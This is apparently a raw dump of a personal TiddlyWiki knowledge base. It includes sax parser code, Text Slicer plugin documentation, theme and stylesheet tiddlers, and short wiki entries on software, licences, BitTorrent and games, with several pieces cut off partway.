function SAXParser (strict, opt) {\\n if (!(this instanceof SAXParser)) {\\n return new SAXParser(strict, opt)\\n }\\n\\n var parser = this\\n clearBuffers(parser)\\n parser.q = parser.c = ''\\n parser.bufferCheckPosition = sax.MAX_BUFFER_LENGTH\\n parser.opt = opt || {}\\n parser.opt.lowercase = parser.opt.lowercase || parser.opt.lowercasetags\\n parser.looseCase = parser.opt.lowercase ? 'toLowerCase' : 'toUpperCase'\\n parser.tags = []\\n parser.closed = parser.closedRoot = parser.sawRoot = false\\n parser.tag = parser.error = null\\n parser.strict = !!strict\\n parser.noscript = !!(strict || parser.opt.noscript)\\n parser.state = S.BEGIN\\n parser.strictEntities = parser.opt.strictEntities\\n parser.ENTITIES = parser.strictEntities ? Object.create(sax.XML_ENTITIES) : Object.create(sax.ENTITIES)\\n parser.attribList = []\\n\\n // namespaces form a prototype chain.\\n // it always points at the current tag,\\n // which protos to its parent tag.\\n if (parser.opt.xmlns) {\\n parser.ns = Object.create(rootNS)\\n }\\n\\n // mostly just for error reporting\\n parser.trackPosition = parser.opt.position !== false\\n if (parser.trackPosition) {\\n parser.position = parser.line = parser.column = 0\\n }\\n emit(parser, 'onready')\\n }\\n\\n if (!Object.create) {\\n Object.create = function (o) {\\n function F () {}\\n F.prototype = o\\n var newf = new F()\\n return newf\\n }\\n }\\n\\n if (!Object.keys) {\\n Object.keys = function (o) {\\n var a = []\\n for (var i in o) if (o.hasOwnProperty(i)) a.push(i)\\n return a\\n }\\n }\\n\\n function checkBufferLength (parser) {\\n var maxAllowed = Math.max(sax.MAX_BUFFER_LENGTH, 10)\\n var maxActual = 0\\n for (var i = 0, l = buffers.length; i \u003C l; i++) {\\n var len = parser[buffers[i]].length\\n if (len > maxAllowed) {\\n // Text/cdata nodes can get big, and since they're buffered,\\n // we can get here under normal conditions.\\n // Avoid issues by emitting the text node now,\\n // so at least it won't get any bigger.\\n
{"title":"$:/plugins/tiddlywiki/text-slicer","name":"Text Slicer","description":"Tools for slicing text into tiddlers","list":"readme docs","dependents":"$:/plugins/tiddlywiki/sax","version":"5.2.3","plugin-type":"plugin","type":"application/json","text":"{\"tiddlers\":{\"$:/plugins/tiddlywiki/text-slicer/docs/exporters\":{\"title\":\"$:/plugins/tiddlywiki/text-slicer/docs/exporters\",\"tags\":\"$:/plugins/tiddlywiki/text-slicer/docs\",\"caption\":\"Exporters\",\"text\":\"Documents can be saved under Node.js, or previewed in the browser.\\n\\n[TBD]\\n\"},\"$:/plugins/tiddlywiki/text-slicer/docs/internals\":{\"title\":\"$:/plugins/tiddlywiki/text-slicer/docs/internals\",\"tags\":\"$:/plugins/tiddlywiki/text-slicer/docs\",\"caption\":\"Internals\",\"text\":\"! Introduction\\n\\nThe slicing process is performed by a simple automaton that scans the document and applies simple declarative rules to yield a collection of tiddlers.\\n\\nThe automaton processes the incoming XML document starting with the root element and then recursively visits each child node and their children. Actions are triggered as each component of the document is encountered:\\n\\n* Opening tags of elements\\n* Closing tags of elements\\n* Text nodes\\n\\nComponents are matched against the current set of rules to determine what actions should be performed. They can include a combination of:\\n\\n* Starting a new tiddler with specified fields\\n* Rendering the markup for the current tag into the current tiddler\\n* Appending the content of the current text node to the current tiddler\\n* Threading tiddlers to their parents using a combination of the `list` and `tags` fields\\n\\n! Slicing State Data\\n\\nAs the automaton performs its scan, it maintains the following state information:\\n\\n* ''chunks'' - an array of tiddlers without titles, addressed by their numeric index. The title field is reused to hold the plain text of the chunk that is later used to generate the final title for the tiddler\\n* ''currentChunk'' - the numeric index of the chunk currently being filled, or `null` if there is no current chunk\\n* ''parentStack'' - a stack of parent chunks stored as `{chunk: \u003Cchunk-index>, actions: \u003Cactions>}`\\n\\nAt the start, the special document chunk is created and pushed onto the stack of parent chunks\\n\\n! Slicing Rules\\n\\nSlicing rules are maintained in tiddlers tagged `$:/tags/text-slicer/slicer-rules` with the following fields:\\n\\n* ''title'' - title of the tiddler containing the listof rules\\n* ''name'' - short, human readable name for the set of rules\\n* ''inherits-from'' - (optional) the ''name'' field of another set of rules that should be inherited as a base\\n* ''text'' - JSON data as described below\\n\\nThe JSON data is an array of rules, each of which is an object with the following fields:\\n\\n* ''selector'' - a selector string identifying the components to be matched by this rule\\n* ''actions'' - an object describing the actions to be performed when this selector matches a tag\\n\\n!! Selectors\\n\\nThe selector format is a simplified form of CSS selectors. They are specified as follows:\\n\\n* A ''selector'' is a list of one or more ''match expressions'' separated by commas. The rule is triggered if any of the match expressions produce a positive match\\n* A ''match expression'' is a list of one or element ''tag names'' separated by spaces. The rule is triggered if the final tag name in the list matches the tag of the current element, and all of the preceding tags in the expression exist as ancestors of the current element in the specified order (but not necessarily as immediate children of one another)\\n* A ''tag name'' is the textual name of an element\\n* Tag names in match expressions may optionally be separated by a `>` sign surrounded by spaces to impose the requirement that the left hand element be the immediate parent of the right hand element\\n\\n!!! Example Selectors\\n\\nThis XML document will be used to illustrate some examples:\\n\\n```\\n\u003Ca>\\n \u003Cb>\\n \u003Cd>one\u003C/d>\\n \u003C/
{"created":"20221109160736203","title":"$:/plugins/tiddlywiki/text-slicer/ui/slice-toolbar-button","tags":"$:/tags/ViewToolbar","caption":"{{$:/plugins/tiddlywiki/text-slicer/images/text-slicer-icon}} Slice text tiddler","description":"Slice this text tiddler by headings and lists","text":"\\whitespace trim\n\n\\define hint()\nSlice this text tiddler into chunks\n\\end\n\n\u003C$list filter=\"[\u003CcurrentTiddler>!is[image]!is[binary]]\" variable=\"ignore\">\n\u003C$button tooltip=\u003C\u003Chint>> aria-label=\u003C\u003Chint>> class=\u003C\u003Ctv-config-toolbar-class>>>\n\u003C$action-sendmessage $message=\"tm-modal\" $param=\"$:/plugins/tiddlywiki/text-slicer/ui/slice-modal\" currentTiddler=\u003C\u003CcurrentTiddler>>/>\n\u003C$list filter=\"[\u003Ctv-config-toolbar-icons>match[yes]]\">\n{{$:/plugins/tiddlywiki/text-slicer/images/text-slicer-icon}}\n\u003C/$list>\n\u003C$list filter=\"[\u003Ctv-config-toolbar-text>match[yes]]\">\n\u003Cspan class=\"tc-btn-text\">Slice tiddler\u003C/span>\n\u003C/$list>\n\u003C/$button>\n\u003C/$list>\n","modified":"20221109160736203"},
{"created":"20220920084517972","text":"Octt Knowledge Base || // Static version available at [ext[./Static.html]].//","title":"$:/SiteSubtitle","modified":"20230110220531245"},
{"title":"$:/StoryList","created":"20230206190314988","creator":"Octt","text":"","list":"[[Draft of 'Xiaomi Redmi 9T' by Octt]] $:/Manager OcttKB/Data","modified":"20230206223527271","modifier":"Octt"},
{"created":"20230124224040783","creator":"Octt","text":"\u003C!-- Original image is by \u003Chttps://bilibili.com> -->\n\u003C!-- \u003Cdiv -->\n\u003Ca\nclass=\"bilibili-back-to-top\"\ntitle=\"Cute little lolis from bilibili to help you reach the top of the page...\"\nstyle=\"\n\ndisplay: block; \nposition: fixed;\n/*\nbottom: 100px;\nright: 20px;\n*/\nbottom: 4px;\nleft: 4px;\ntransform: translateY(0px);\nwidth: 62px;\nheight: 85px;\n/*\nmargin-left: 602px;\n*/\ntransform: scale(0.5);\ncursor: pointer;\nbackground-image: url(https://s1.hdslb.com/bfs/static/jinkela/space/assets/space-to-top.png);\nbackground-position: -40px -44px;\n\n\" href=\"javascript:(function(){\n\nvar Select = [\n '.tc-story-river > .story-backdrop',\n '.tc-sidebar-scrollable .tc-sidebar-header .tc-site-title',\n];\nfor (var i=0; i \u003C Select.length; i++) {\n var Elem = document.querySelectorAll(Select[i])[0];\n Elem.scrollIntoView();\n};\nalert('TODO animation');\n\n})();\">\u003C/a>\n\u003C!--\n\" onclick=\"\n\">\u003C/div>\n-->","tags":"","title":"$:/Styles/bilibili-back-to-top.html","modified":"20230127171431680","modifier":"Octt"},
{"created":"20230202093634199","creator":"Octt","text":"/* This has to be redone basically from scratch because there are issues with position:fixed without editing the tiddler frame z-index, which can't be done via CSS only (no parent selector) */\n\ninput.PIP-Select, input.PIP-Select+label, div.PIP-Select > input, div.PIP-Select > label, div.PIP-Select > span { width: 1.25em; height: 1.25em; font-size: 1.50em; vertical-align: middle; }\n\n/*\ninput[type=\"radio\"].PIP-Select[value=\"↗️\"]:checked ~ div { border: 3px solid red; }\ninput[type=\"radio\"].PIP-Select[value=\"↘️\"]:checked ~ div { border: 3px solid blue; }\n*/\n\n/* Set PIP properties common to all position */\n/*\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"❎\"]):checked,\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"❎\"]):checked ~ input,\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"❎\"]):checked ~ label,\n*/\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"❎\"]):checked ~ input[type=\"radio\"].PIP-Select[value=\"❎\"],\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"❎\"]):checked ~ div {\n position: fixed;\n z-index: 99999;\n top: 0px;\n right: 0px;\n}\n\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"❎\"]):checked ~ input[type=\"radio\"].PIP-Select[value=\"❎\"] { z-index: 100001; }\n\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"❎\"]):checked ~ div {\n /*height: 100vh;*/\n width: 50vw;\n background: white;\n}\n","tags":"$:/tags/Stylesheet","title":"$:/Styles/PIP.css","modified":"20230202194628022","modifier":"Octt","type":"text/css"},
{"title":"$:/themes/tiddlywiki/starlight","name":"Starlight","author":"JeremyRuston","core-version":">=5.0.0","plugin-type":"theme","description":"Example alternative theme","dependents":"$:/themes/tiddlywiki/snowwhite","version":"5.2.3","type":"application/json","text":"{\"tiddlers\":{\"$:/themes/tiddlywiki/starlight/arvo.woff\":{\"title\":\"$:/themes/tiddlywiki/starlight/arvo.woff\",\"text\":\"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
{"created":"20230110204807987","text":"\u003C!--\nDemo of a control panel tab dynamically loaded with a theme.\n--->\n{{$:/OcttKB/Tweaks/Starlight.cfg}}","title":"$:/themes/tiddlywiki/starlight/themetweaks","tags":"$:/tags/ControlPanel/Appearance","caption":"Star Tweaks","modified":"20230110205238423"},
{"created":"20210719102404282","text":"\\define program() [prefix[$:/ThirdParty/TiddlyTools/FilterGenerators]] [[$:/ThirdParty/TiddlyTools/Macros/edit-list]] +[!sort[modified]]\n\n\\define import(tids)\nDrag this link to\n\u003C$button class=\"tc-btn-invisible tc-tiddlylink\" popup=\"$:/state/popup/$(currentTiddler)$/$tids$\" dragFilter=\u003C\u003C$tids$>>>\n ''import \u003C$count filter=\u003C\u003C$tids$>>/> $tids$ tiddlers.''\n\u003C/$button>\n\u003C$reveal type=\"popup\" state=\"$:/state/popup/$(currentTiddler)$/$tids$\" class=\"tc-drop-down\" style=\"padding:1em;\">\n \u003C$list filter=\u003C\u003C$tids$>>>\u003C$link/>\u003C/$list>\n\u003C/$reveal>\n\\end\n\n| author|''[ext[Eric Shulman|mailto:elsdesign@gmail.com]]''|\n| source|''http://TiddlyTools.com/filtergenerators.html''|\n| updated|''\u003C$view field=\"modified\" format=\"date\" template=\"DDD, MMM DDth YYYY at 0hh12:0mm:0ssam\"/>''|\n\n\u003C\u003Cimport program>>\n\n~TiddlyTools' ~FilterGenerators define several $:/AdvancedSearch addon tabs to provide a variety of specialized searches.\n\n!! [[$:/ThirdParty/TiddlyTools/FilterGenerators/Titles]]\n\u003C\u003C\u003C\n''Search for tiddler titles in selected types of tiddlers''\n\n* Finds tiddlers that contain the specified text anywhere in their title\n* Select one or more types of tiddlers to search in:\u003Cbr> tiddlers, shadows, system, tags, missing, orphans, images, binaries\n\u003C\u003C\u003C\n\n!! [[$:/ThirdParty/TiddlyTools/FilterGenerators/Tags]]\n\u003C\u003C\u003C\n''Search for tiddlers using a combination of tags''\n\n* Shows checkboxes for all tags in the file, including shadow tags\n* Select any combination of tags to search for\n* Shows results matching all tags (AND) and one or more tags (OR)\n\u003C\u003C\u003C\n\n!! [[$:/ThirdParty/TiddlyTools/FilterGenerators/TagCloud]]\n\u003C\u003C\u003C\n''Display tags using proportional size based on the number of tiddlers for each tag''\n\n* Select tags to include\n* Shows number of matching tiddlers on each tag \"pill\"\n* Sort results by tag title or number of matching tiddlers\n* options: min=minimum font size, step=font size increment, max=maximum font size, group=tag count cluster size\n\u003C\u003C\u003C\n\n!! [[$:/ThirdParty/TiddlyTools/FilterGenerators/PowerSearch]]\n\u003C\u003C\u003C\n''Assemble a compound filter to search for matching tiddlers''\n\u003Cbr>Requires: [[TiddlyTools/Macros/edit-list]]\n\n* select types of tiddlers to search\n* include/exclude prefixes, suffixes or tags\n* find tiddlers that have a specific field (even if blank)\n* search in one or more specified fields\n* use flags to define the search criteria\n* sort results by any tiddler field\n* copy the assembled filter syntax to the clipboard\n* save assembled filters for later re-use\n* add/remove tags, clone/rename, export, or delete matching/selected tiddlers\n\u003C\u003C\u003C","title":"$:/ThirdParty/TiddlyTools/FilterGenerators/Info","modified":"20230109220740719","tags":"TiddlyTools"},
{"created":"20140114170004978","text":"Credits: [[https://tw5magick.tiddlyspot.com]]\n\nThis great trick was shown to the tiddlywiki google group by [[Alberto Molina|https://groups.google.com/forum/#!topic/tiddlywiki/OCntQ79DuwM]]. I enhanced it a bit.\n\n|!Search tag: | \u003C$edit-text tiddler=\"$:/temp/RenameTags/search\" tag=\"input\" type=\"text\"/> |\n|!Replace by: | \u003C$edit-text tiddler=\"$:/temp/RenameTags/replace\" tag=\"input\" type=\"text\"/> |\n\n---\n\u003C$reveal type=\"nomatch\" text=\"\" state=\"$:/temp/RenameTags/replace\">\n\n!First step\n!!//Apply the tag \u003C$tiddler tiddler={{$:/temp/RenameTags/replace}}>\u003C$transclude tiddler=\"$:/core/ui/TagTemplate\"/>\u003C/$tiddler> to the following tiddlers//\n\u003C$list filter=\"[!has[draft.of]tag{$:/temp/RenameTags/search}!tag{$:/temp/RenameTags/replace}sort[created]]\">\n\u003C$checkbox tag={{$:/temp/RenameTags/replace}}> \u003C$link to={{!!title}}>\u003C$view field=\"title\"/>\u003C/$link>\u003C/$checkbox>\u003Cbr/>\n\u003C/$list>\n\u003C/$reveal>\n\n\u003C$reveal type=\"nomatch\" text=\"\" state=\"$:/temp/RenameTags/search\">\n\n!Second step\n!!//Remove the tag \u003C$tiddler tiddler={{$:/temp/RenameTags/search}}>\u003C$transclude tiddler=\"$:/core/ui/TagTemplate\"/>\u003C/$tiddler> from the following tiddlers//\n\u003C$list filter=\"[!has[draft.of]tag{$:/temp/RenameTags/search}tag{$:/temp/RenameTags/replace}sort[created]]\">\n\u003C$checkbox tag={{$:/temp/RenameTags/search}}> ~~\u003C$link to={{!!title}}>\u003C$view field=\"title\"/>\u003C/$link>~~\u003C/$checkbox>\u003Cbr/>\n\u003C/$list>\n\u003C/$reveal>","title":"$:/Tools/RenameTags","tags":"","modifier":"Stephan Hradek","modified":"20220926114819573","description":"A great trick invented by Alberto Molina to search and replace tags.","creator":"Stephan Hradek"},
{"created":"20220923133930693","creator":"Octt","text":"''1337x'' is a [[torrent|BitTorrent:en]] search engine.\n\n[img[https://upload.wikimedia.org/wikipedia/commons/b/bb/1337X_logo.svg]]\n\nIn recent years, the service has become more popular than some of its older alternatives, in part thanks to some of its quality-ensuring rules.\n\nThe site features text search, categories, and user profiles.","tags":"Web BitTorrent Sharing Research $:/i18n:en","title":"1337x:en","modified":"20230206111552042","modifier":"Octt"},
{"created":"20230130073837406","creator":"Octt","text":"\u003C\u003CMediaWiki A_Hat_in_Time en 3>>","tags":"TODO $:/i18n:en","title":"A Hat in Time:en","modified":"20230206111552056","modifier":"Octt"},
{"created":"20230108192258947","text":"\u003C\u003CMediaWiki ActivityPub en 1>>","title":"ActivityPub:en","modified":"20230111152725841","tags":"TODO"},
{"created":"20230202230035698","creator":"Octt","text":"\u003C\u003CMediaWiki Android_(operating_system) en 5>>","tags":"","title":"Android","modified":"20230206192339925","modifier":"Octt"},
{"created":"20230110225425199","creator":"Octt","text":"\u003C\u003CMediaWiki Animal_Crossing en 2>>","tags":"Nintendo TODO $:/i18n:en Game","title":"Animal Crossing:en","modified":"20230206203924220","modifier":"Octt"},
{"created":"20230128233320444","creator":"Octt","text":"The ''Anti-Capitalist Software License'' (''ACSL'') is a license for proprietary software that, while with some good intentions, has a questionable implementation resulting in bad qualities. It's not open-source, and thus should be avoided for most projects. I don't think it could hold in a court of law.\n\n* Website: [[anticapitalist.software|https://anticapitalist.software]]\n\nI've seen a number higher than one of modified versions of this license in the wild:\n\n* Form promoting the anti-cryptocurrency narrative: https://github.com/Lana-chan/webgbcam/raw/main/LICENSE - It adds: \"//5. The User must not be involved in Non-Fungible Tokens or any other form of cryptocurrency minting or exchange.//\"\n","tags":"TODO Legal $:/i18n:en","title":"Anti-Capitalist Software License:en","modified":"20230206111552063","modifier":"Octt"},
{"created":"20230128234619470","creator":"Octt","text":"The ''Anti-Fascist MIT License'' is a MIT license modified with additional text to prohibit use by fascists. I don't think fascists will respect it, one of their mottos is literally \"me ne frego\" (\"I don't care\"), nor do I think the license could actually hold in a court of law, but the intentions behind it are good.\n\n* Repo: [[github.com/jamiebuilds/anti-fascist-mit-license|https://github.com/jamiebuilds/anti-fascist-mit-license]]\n\nAfter further research, it appears that forks exist:\n\n* https://github.com/Laurelai/anti-fascist-mit-license\n","tags":"Legal $:/i18n:en","title":"Anti-Fascist MIT License:en","modified":"20230206111552066","modifier":"Octt"},
{"created":"20230130081739358","creator":"Octt","text":"\u003C\u003CMediaWiki Arduino en 2>>","tags":"$:/i18n:en","title":"Arduino:en","modified":"20230206111552070","modifier":"Octt"},
{"created":"20220922205247845","text":"Collection of miscellaneous articles I read around the Web and found nice.\n\n!!! 2022-09-23\n* [[The sum of all knowledge and the sorry state of the web|https://christianheilmann.com/2022/08/29/the-sum-of-all-knowledge]]\n\n!!! 2022-09-22\n* [[Lose Weight the Slow and Incredibly Difficult Way|https://nautil.us/lose-weight-the-slow-and-incredibly-difficult-way-239703/]] - //Trying to answer a silly question can take you through some serious science.//","tags":"Reading $:/i18n:en","title":"Articles","modified":"20230206111552072","modifier":"Octt"},
{"created":"20221105114920520","text":"''Base64'' is a 8-bit-binary to text data encoding scheme.\n\nDue to the format using a character set of 64 characters, representable by 6 bits, a minimal b64 block is ''24 bits'' large (lcm(8,6)), which is 3 binary bytes, or 4 b64 text characters.","tags":"$:/i18n:en","title":"Base64:en","modified":"20230206111552076","modifier":"Octt"},
{"created":"20220923190200484","creator":"Octt","text":"''BitTorrent'' is an open [[peer-to-peer|peer-to-peer:en]] file sharing protocol. It is expecially common among the [[free sharing]] community.\n\nIts only requirement for each user is a client application, meaning that efficiently sharing with BitTorrent is effectively free, since a beefy server isn't needed to make the content circulate.\n\nFor this reason, the protocol is most commonly used to share large files that have a lot of people requesting them, such as movies, operating systems, and videogames.\n\nThis kind of information would be usually expensive to share using a traditional client-server infrastructure, but with BitTorrent every client can seed (send) data to other requesting clients, exponentially optimizing delivery.\n\n!!! ''Clients''\n* ''Transmission'' (Desktop, CLI): [[Website|https://transmissionbt.com/]] | [[Git|https://github.com/transmission/transmission/]] | [[Wikipedia|https://en.wikipedia.org/wiki/Transmission_(BitTorrent_client)]]\n* ''qBittorrent'' (Desktop, CLI): [[Website|https://www.qbittorrent.org/]] | [[Git|https://github.com/qbittorrent/qBittorrent/]] | [[Wikipedia|https://en.wikipedia.org/wiki/qBittorrent]]","tags":"Internet BitTorrent P2P $:/i18n:en","title":"BitTorrent:en","modified":"20230206111552078","modifier":"Octt"},
{"created":"20230126102033696","creator":"Octt","text":"\u003C\u003CMediaWiki ChatGPT en 2>>","tags":"AI LLM","title":"ChatGPT","modified":"20230206194423427","modifier":"Octt"},
{"created":"20220925131851817","text":"!! Creative Commons\n\n!!! ''Attribution-ShareAlike 4.0 International (CC BY-SA 4.0)''\n\nThis is a human-readable summary of (and not a substitute for) the [[license|https://creativecommons.org/licenses/by-sa/4.0/legalcode]].\n\n\u003Cdetails>\n\u003Csummary>Disclaimer\u003C/summary>\n\u003Cp>This deed highlights only some of the key features and terms of the actual license. It is not a license and has no legal value. You should carefully review all of the terms and conditions of the actual license before using the licensed material.\u003C/p>\n\n\u003Cp>Creative Commons is not a law firm and does not provide legal services. Distributing, displaying, or linking to this deed or the license that it summarizes does not create a lawyer-client or any other relationship.\u003C/p>\n\u003C/details>\n\n[img[$:/ThirdParty/Buttons/CC BY-SA.svg]]\n\n!!!'' You are free to:''\n\n''Share'' — copy and redistribute the material in any medium or format\n\n''Adapt'' — remix, transform, and build upon the material\nfor any purpose, even commercially.\n\nThe licensor cannot revoke these freedoms as long as you follow the license terms.\n\n!!! ''Under the following terms:''\n\n''Attribution'' — You must give appropriate credit, provide a link to the license, and indicate if changes were made. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use.\n\n''ShareAlike'' — If you remix, transform, or build upon the material, you must distribute your contributions under the same license as the original.\n\n''No additional restrictions'' — You may not apply legal terms or technological measures that legally restrict others from doing anything the license permits.\n\n!!! ''Notices:''\nYou do not have to comply with the license for elements of the material in the public domain or where your use is permitted by an applicable exception or limitation.\n\nNo warranties are given. The license may not give you all of the permissions necessary for your intended use. For example, other rights such as publicity, privacy, or moral rights may limit how you use the material.","title":"Creative Commons/BY-SA 4.0:en","modified":"20230206111552087","tags":"TODO $:/i18n:en","modifier":"Octt"},
{"created":"20230202230421306","creator":"Octt","text":"\u003C\u003CMediaWiki CyanogenMod en 4>>","tags":"Android $:/i18n:en","title":"CyanogenMod:en","modified":"20230206111552091","modifier":"Octt"},
{"created":"20230202105826531","creator":"Octt","text":"\u003C\u003CMediaWiki D-pad en 2>>","tags":"HID Paradigm $:/i18n:en","title":"D-Pad:en","modified":"20230206111552093","modifier":"Octt"},
{"created":"20230116204701243","text":"''[[daedalOS|https://dustinbrett.com]]'' is an [[open-source]] [[pseudo-OS]] made for the Web browser.\n\n* Git: [[github.com/DustinBrett/daedalOS|https://github.com/DustinBrett/daedalOS]]\n\n!! ''Try it''\n\n\u003C\u003CiFrameFixed \"https://dustinbrett.com\">>","tags":"$:/i18n:en","title":"daedalOS:en","modified":"20230206111552095","modifier":"Octt"},
